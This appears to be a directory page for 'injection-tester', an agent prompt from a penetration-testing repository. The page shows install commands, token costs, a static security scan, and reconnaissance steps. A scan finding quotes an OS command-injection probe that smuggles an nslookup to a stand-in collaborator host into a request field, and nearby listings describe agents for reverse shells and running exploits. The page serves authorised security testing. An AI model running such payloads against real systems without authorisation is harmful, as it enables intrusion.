Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/Stickman230/claude-pentestnpx agentmods add agents/stickman230/claude-pentest/injection-testerWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester)<a href="https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester"><img src="https://agentmods.dev/badge/agents/stickman230/claude-pentest/injection-tester/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/agents/stickman230/claude-pentest/injection-tester"><img src="https://agentmods.dev/badge/agents/stickman230/claude-pentest/injection-tester.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.03643 |
| Opus 5 | $0.00030 | $0.01821 |
| Sonnet 5 | $0.00012 | $0.00729 |
| Haiku 4.5 | $0.00006 | $0.00364 |
Grade A, and why
injection-tester scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -s -d "host=127.0.0.1;nslookup+BURP_COLLABORATOR_HOST" \ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
description: Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection and curl for manual probing. Follows 4-phase work How it starts
The opening of the file, as written. The whole thing — 314 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Injection Tester
Execute injection vulnerability testing across three attack types: SQL injection (error-based, blind, time-based, UNION), NoSQL injection (MongoDB operator injection), and OS command injection (Unix and Windows). Covers GET/POST parameters, JSON bodies, HTTP headers, and GraphQL queries.
Workflow
Phase 1: Recon
- Mount skill files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins/pentest/skills/mks/SKILL.md Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/sql-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/nosql-injection/nosql-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/command-injection/os-command-injection-quickstart.md Read plugins/pentest/skills/pentest/attacks/injection/sql-injection/payloads/basic.md - Identify injection surface from previous inventory if available:
cat outputs/ENGAGEMENT/inventory/api-endpoints.json 2>/dev/null | \ grep -E '"GET"|"POST"|"PUT"' | head -40 cat outputs/ENGAGEMENT/analysis/api-endpoints.md 2>/dev/null | head -80 - Probe the target for injectable parameters directly:
# Collect URLs with query parameters (historical + crawl) gau TARGET 2>/dev/null | grep '?' | sort -u \ | tee outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt waybackurls TARGET 2>/dev/null | grep '?' | sort -u \ >> outputs/ENGAGEMENT/activity/injection-urls-TARGET.txt - Identify technology stack clues (determines injection type priority):
curl -sI https://TARGET/ 2>&1 | grep -iE 'server|x-powered-by|x-aspnet|x-runtime' \ | tee outputs/ENGAGEMENT/activity/injection-stack-fingerprint.txt- PHP/MySQL/MariaDB/MSSQL/PostgreSQL/Oracle → SQLi is primary
- Node.js/Express/MongoDB → NoSQLi is primary
- Any backend with user input passed to shell commands → CMDi possible
- Log:
{"timestamp":"...","agent":"injection-tester","action":"recon","target":"https://TARGET","injectable_params_found":12,"stack":"node+mongodb","priority":["nosql","cmdi","sql"]}
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 314 lines · 60 tokens per session scan A 783eeb1b64c9
injection-tester is an agent published in the GitHub repository Stickman230/claude-pentest (100 stars, last pushed 3mo ago), licensed MIT. It adds 60 tokens to every session and 3,643 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other agents, from other repositories
darlene
Use this agent when the user asks to "exploit a vulnerability", "test this exploit", "generate exploit", "attack this endpoint", "run exploitation", "verify the vulnerability", or discusses actively exploiting a confirmed finding. This agent selects the right Hexstrike tool chain for the vulnerability type. Context…
scout
Use this agent when the user asks to "run recon", "enumerate a target", "do reconnaissance", "scan subdomains", "map the attack surface", "discover endpoints", or mentions comprehensive target enumeration. This agent orchestrates multiple Hexstrike tools in parallel for maximum coverage. Context: User wants to start a…
exploit-suggester
Use this agent when the user asks "what exploits exist", "how do I exploit this", "suggest attack vectors", "find vulnerabilities", "searchsploit", "what's vulnerable", "how can I get a shell", or needs exploitation guidance. Examples: Context: After discovering Apache 2.4.49 user: "What exploits are there for this?"…
exploit-runner
Use this agent when a specific CVE is identified and you need to find and run a working exploit. This agent will search GitHub for PoC exploits, clone them, and provide execution guidance. Examples: Context: CVE-2025-32433 identified on Erlang SSH user: "Exploit the Erlang SSH" assistant: Clones…
shell-manager
Use this agent when the user asks to "start a listener", "catch a shell", "manage shells", "send command to shell", "check shell output", "set up reverse shell", or needs to maintain persistent shell access during exploitation. Examples: Context: User has RCE and needs to catch reverse shell user: "Start a listener on…
source-analyzer
Use this agent when you discover source code, backup files, or need to analyze application code for vulnerabilities. Triggers on: "analyze source", "found code", "check for vulnerabilities", "review application", "found backup", "downloaded zip/tar", "requirements.txt", "package.json".